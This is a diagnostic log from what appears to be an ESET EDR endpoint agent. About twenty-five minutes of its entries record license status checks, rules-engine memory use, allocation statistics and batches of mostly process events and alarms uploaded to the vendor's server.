2026-03-04 14:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:33:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:33:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 14:33:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:33:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 14:33:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1906 KB; ProcessInfo: 1708 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; rules::RuleEvaluationCtx: 487 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BaseEvent: 195 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 105 KB; BatchSerializer::EventsQueueTag: 50 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 6839 KB;
2026-03-04 14:34:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2069 KB; ModuleMetadata: 1906 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; rules::RuleEvaluationCtx: 487 KB; BaseEvent: 371 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 96 KB; rules::ProcessConditionsCache: 86 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 7400 KB;
2026-03-04 14:35:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2458 KB; ModuleMetadata: 1906 KB; BaseEvent: 558 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; rules::RuleEvaluationCtx: 487 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BatchSerializer::EventsQueueTag: 147 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 91 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 8021 KB;
2026-03-04 14:36:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:32:48, To:, 2026-03-04 14:36:53, Duration (s):, 245, Events Per Second:, 16.728, Events:, 4105, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3402, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 702, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456064
2026-03-04 14:36:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s406ms.
2026-03-04 14:36:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1906 KB; ProcessInfo: 1348 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; rules::RuleEvaluationCtx: 487 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 80 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; BaseEvent: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchSerializer::EventsQueueTag: 1 KB; BatchStringTag: 0 KB; Total: 6224 KB;
2026-03-04 14:37:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1906 KB; ProcessInfo: 1752 KB; rules::RuleEvaluationCtx: 967 KB; TcpIpConnectionsManager: 626 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BaseEvent: 187 KB; rules::ProcessConditionsCache: 142 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 51 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 7464 KB;
2026-03-04 14:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:38:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:38:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 14:38:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:38:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 14:38:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2122 KB; ModuleMetadata: 1906 KB; rules::RuleEvaluationCtx: 967 KB; TcpIpConnectionsManager: 606 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 374 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 137 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 100 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 8039 KB;
2026-03-04 14:39:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2529 KB; ModuleMetadata: 1906 KB; rules::RuleEvaluationCtx: 968 KB; TcpIpConnectionsManager: 585 KB; BaseEvent: 564 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BatchSerializer::EventsQueueTag: 152 KB; rules::ProcessConditionsCache: 138 KB; cloudutils::CloudData: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 8678 KB;
2026-03-04 14:40:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:36:53, To:, 2026-03-04 14:40:49, Duration (s):, 236, Events Per Second:, 17.447, Events:, 4121, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3447, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 673, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459566
2026-03-04 14:40:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s387ms.
2026-03-04 14:40:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1906 KB; ProcessInfo: 1398 KB; rules::RuleEvaluationCtx: 968 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 129 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 18 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 4 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 6808 KB;
2026-03-04 14:41:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1906 KB; ProcessInfo: 1762 KB; rules::RuleEvaluationCtx: 968 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BaseEvent: 196 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 118 KB; BatchSerializer::EventsQueueTag: 50 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 7378 KB;
2026-03-04 14:42:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2098 KB; ModuleMetadata: 1906 KB; rules::RuleEvaluationCtx: 968 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; TcpIpConnectionsManager: 514 KB; BaseEvent: 362 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 94 KB; rules::ProcessConditionsCache: 78 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 7861 KB;
2026-03-04 14:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:43:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:43:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 14:43:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:43:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 14:43:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2458 KB; ModuleMetadata: 1906 KB; rules::RuleEvaluationCtx: 968 KB; BaseEvent: 579 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 514 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BatchSerializer::EventsQueueTag: 151 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 93 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 8504 KB;
2026-03-04 14:44:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2677 KB; ModuleMetadata: 1906 KB; rules::RuleEvaluationCtx: 968 KB; BaseEvent: 687 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; TcpIpConnectionsManager: 457 KB; rules::ProcessConditionsCache: 334 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BatchSerializer::EventsQueueTag: 179 KB; cloudutils::CloudData: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 9042 KB;
2026-03-04 14:45:05 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:40:48, To:, 2026-03-04 14:45:05, Duration (s):, 257, Events Per Second:, 15.518, Events:, 4002, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3159, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 88, Livegrid:, 88, OriginUrl:, 0, Alarms:, 666, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 439617
2026-03-04 14:45:07 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s196ms.
2026-03-04 14:45:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1906 KB; ProcessInfo: 1452 KB; rules::RuleEvaluationCtx: 968 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; TcpIpConnectionsManager: 504 KB; rules::ProcessConditionsCache: 386 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BaseEvent: 152 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 7241 KB;
2026-03-04 14:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 1929 KB; ModuleMetadata: 1906 KB; ProcessInfo: 1859 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; BaseEvent: 339 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 90 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; rules::ProcessConditionsCache: 13 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 8530 KB;
2026-03-04 14:47:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2225 KB; rules::RuleEvaluationCtx: 1929 KB; ModuleMetadata: 1906 KB; TcpIpConnectionsManager: 613 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; rules::ProcessConditionsCache: 414 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BatchSerializer::EventsQueueTag: 139 KB; cloudutils::CloudData: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 9574 KB;
2026-03-04 14:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:48:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:48:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 14:48:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:48:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 14:48:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2626 KB; rules::RuleEvaluationCtx: 1929 KB; ModuleMetadata: 1906 KB; BaseEvent: 702 KB; TcpIpConnectionsManager: 640 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BatchSerializer::EventsQueueTag: 188 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 78 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 18 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 9911 KB;
2026-03-04 14:49:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:45:05, To:, 2026-03-04 14:49:01, Duration (s):, 236, Events Per Second:, 17.519, Events:, 4144, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3462, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 681, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461593
2026-03-04 14:49:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s388ms.
2026-03-04 14:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 1929 KB; ModuleMetadata: 1906 KB; ProcessInfo: 1708 KB; TcpIpConnectionsManager: 606 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BaseEvent: 163 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 49 KB; BatchSerializer::EventsQueueTag: 43 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 8236 KB;
2026-03-04 14:50:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2078 KB; rules::RuleEvaluationCtx: 1929 KB; ModuleMetadata: 1906 KB; TcpIpConnectionsManager: 580 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; BaseEvent: 347 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 92 KB; rules::ProcessConditionsCache: 55 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 8842 KB;
2026-03-04 14:51:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2442 KB; rules::RuleEvaluationCtx: 1929 KB; ModuleMetadata: 1906 KB; TcpIpConnectionsManager: 567 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; BaseEvent: 527 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BatchSerializer::EventsQueueTag: 140 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 9410 KB;
2026-03-04 14:52:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2803 KB; rules::RuleEvaluationCtx: 1929 KB; ModuleMetadata: 1906 KB; BaseEvent: 711 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BatchSerializer::EventsQueueTag: 187 KB; cloudutils::CloudData: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 20 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 9927 KB;
2026-03-04 14:53:07 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:49:01, To:, 2026-03-04 14:53:07, Duration (s):, 246, Events Per Second:, 16.414, Events:, 4048, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3331, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 6, Livegrid:, 6, OriginUrl:, 0, Alarms:, 704, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453475
2026-03-04 14:53:10 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s773ms.
2026-03-04 14:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:53:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:53:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 14:53:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:53:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 14:53:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1967 KB; rules::RuleEvaluationCtx: 1929 KB; ProcessInfo: 1578 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BaseEvent: 148 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 10 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 8046 KB;
2026-03-04 14:54:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1967 KB; ProcessInfo: 1951 KB; rules::RuleEvaluationCtx: 1929 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 332 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 87 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 8673 KB;
2026-03-04 14:55:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2317 KB; ModuleMetadata: 1967 KB; rules::RuleEvaluationCtx: 1929 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 510 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 134 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; rules::ProcessConditionsCache: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 9257 KB;
2026-03-04 14:56:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2679 KB; ModuleMetadata: 1967 KB; rules::RuleEvaluationCtx: 1929 KB; BaseEvent: 687 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; rules::ProcessConditionsCache: 403 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 180 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 10234 KB;
2026-03-04 14:57:14 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:53:07, To:, 2026-03-04 14:57:13, Duration (s):, 246, Events Per Second:, 16.649, Events:, 4111, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3393, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 715, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456178
